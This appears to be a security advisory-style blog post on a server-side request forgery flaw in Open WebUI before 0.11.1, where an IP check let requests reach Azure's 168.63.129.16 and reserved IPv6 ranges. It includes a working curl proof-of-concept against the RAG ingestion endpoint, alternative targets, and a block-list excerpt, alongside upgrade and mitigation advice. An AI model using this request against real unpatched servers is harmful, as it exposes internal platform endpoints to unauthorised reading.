Listen to this Post
Open WebUI is an extensible, self-hosted AI platform that fetches user-supplied URLs on the server side for two purposes: RAG (Retrieval-Augmented Generation) URL ingestion and web search. Before fetching, the server screens the resolved IP address of the target to prevent requests to internal destinations. The screening logic relied on Python’s standard library `ipaddress.is_global` property to decide whether an address is external. However, several addresses reserved for internal use by convention are classified as globally routable by the IANA special-purpose registry. The most significant example is 168.63.129.16, the Azure platform channel (also known as the WireServer address). Every Azure virtual machine can reach this address regardless of network security group rules, and it is used for platform-level communication, including DHCP, DNS, and health probes. Because the address falls within ordinary public IPv4 space, `is_global` returns True, so the screen treated it as a legitimate external destination. Any authenticated and verified user could therefore supply a URL pointing to `168.63.129.16` (or other reserved ranges such as IPv4-translated `::ffff:0:169.254.169.254` and deprecated IPv6 site-local fec0::/10) through the RAG ingestion or web search endpoint. The server would issue a GET request to that address and return the response body to the caller in the API response, which also lands in the RAG context. This constitutes a server-side request forgery vulnerability that allows an authenticated user to read responses from internal endpoints that the operator never intended to expose. The vulnerability was fixed in version 0.11.1 by replacing the `is_global` check with a default block list of reserved and internal-purpose ranges, applied at both URL validation and connection time.
DailyCVE Form
Platform: Open WebUI
Version: < 0.11.1
Vulnerability: SSRF (CWE-918)
Severity: High (CVSS 7.1)
date: 2026-09-09
Prediction: 2026-08-17
What Undercode Say
Bash Commands and Code Related to the Blog
The following PoC demonstrates the vulnerability as any verified user. It targets the RAG URL ingestion endpoint and requests the Azure platform channel’s version endpoint.
curl -X POST http://<open-webui-host>:<port>/api/v1/retrieval/process/web \
-H "Authorization: Bearer <user-token>" \
-H "Content-Type: application/json" \
-d '{"url": "http://168.63.129.16/?comp=versions"}'
On an affected version, the address passes validation, the request is issued, and the response body is returned in the `content` field of the API response.
The root cause lies in backend/open_webui/retrieval/web/utils.py, where the shared address screen used by every server-side fetch previously relied solely on ipaddress.is_global. The fix introduced in PR 27823 replaced `_SSRFSafeResolver` with _SSRFSafeConnector, which hooks `_resolve_host` to screen addresses at connection time, covering IP-literal shortcuts and DNS cache paths. The operator-configurable block list `WEB_FETCH_FILTER_LIST` is now applied on the request path via `connect()` for aiohttp and `send()` for the requests adapter.
Excerpt from the fix: default block list merged with WEB_FETCH_FILTER_LIST WEB_FETCH_FILTER_LIST = [ "!168.63.129.16", Azure platform channel "!::ffff:0:169.254.169.254", IPv4-translated "!fec0::/10", IPv6 site-local ... other reserved ranges ]
Operators can extend this list via the `WEB_FETCH_FILTER_LIST` environment variable, for example:
WEB_FETCH_FILTER_LIST=!internal.yourcompany.com,!10.0.0.0/8
Exploit: (Educational Purposes!)
- Prerequisites: An authenticated and verified Open WebUI account. The default `ENABLE_LOCAL_WEB_FETCH=false` and an empty `WEB_FETCH_FILTER_LIST` are required. The target host must run on Azure (VM, AKS, Container Apps, or equivalent) for the platform-channel address to be reachable.
- Craft the payload: Use the RAG URL ingestion endpoint with a URL pointing to the Azure platform channel.
{"url": "http://168.63.129.16/?comp=versions"}
3. Send the request:
curl -X POST http://<open-webui-host>:<port>/api/v1/retrieval/process/web \
-H "Authorization: Bearer <user-token>" \
-H "Content-Type: application/json" \
-d '{"url": "http://168.63.129.16/?comp=versions"}'
4. Observe the response: On an affected version, the server fetches the URL and returns the platform channel’s response in the API response body, which is also stored in the RAG context.
5. Alternative targets: The same bypass applies to the IPv4-translated range (::ffff:0:169.254.169.254) and deprecated IPv6 site-local space (fec0::1), which on a host that routes them can reach internal services.
Protection: from this CVE
- Upgrade to Open WebUI 0.11.1 or later. The fix is included in PR 27823, which applies a default block list of reserved and internal-purpose ranges to every resolved address at URL validation and again at connection time on both HTTP transports.
- Verify the fix. After upgrading, the same PoC request should be rejected with an address-not-allowed error. The screening code of version 0.11.1 rejects
168.63.129.16,::ffff:0:169.254.169.254,fec0::1, and all alternative spellings (IPv4-mapped, IPv4-compatible, IPv4-translated, 6to4, NAT64 prefixes, and obfuscated decimal/octal/hexadecimal forms). - Extend the block list if needed. Operators can add custom entries via the `WEB_FETCH_FILTER_LIST` environment variable. The list is merged with the defaults and cannot remove them.
WEB_FETCH_FILTER_LIST=!internal.yourcompany.com,!10.0.0.0/8
- Keep `ENABLE_LOCAL_WEB_FETCH=false` (the default). Setting it to `true` disables the address screen by design, and internal destinations become reachable on purpose.
- Restrict outbound network access at the infrastructure level as an additional defense-in-depth measure, even though the Azure platform channel is reachable regardless of network security group rules.
Impact
An authenticated user can direct the server to issue GET requests to addresses reserved for internal use and receive the response body back in the API response. On Azure, this includes the platform channel at 168.63.129.16, an endpoint the operator never intended to expose to application users. The same gap applies to the IPv4-translated range and deprecated IPv6 site-local space, which on a host that routes them would reach internal services the same way. The vulnerability allows reading responses from these internal endpoints, constituting a content-disclosure SSRF. No specific credential or secret was retrieved from the Azure platform channel during the original investigation, and the advisory does not claim one. Deployments not hosted on Azure are unaffected for the platform-channel address, and deployments running with local web fetch enabled were never protected by this screen in any version. The fix in 0.11.1 closes the gap by applying a default block list of reserved and internal-purpose ranges to every resolved address, covering redirect hops and DNS rebinding.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
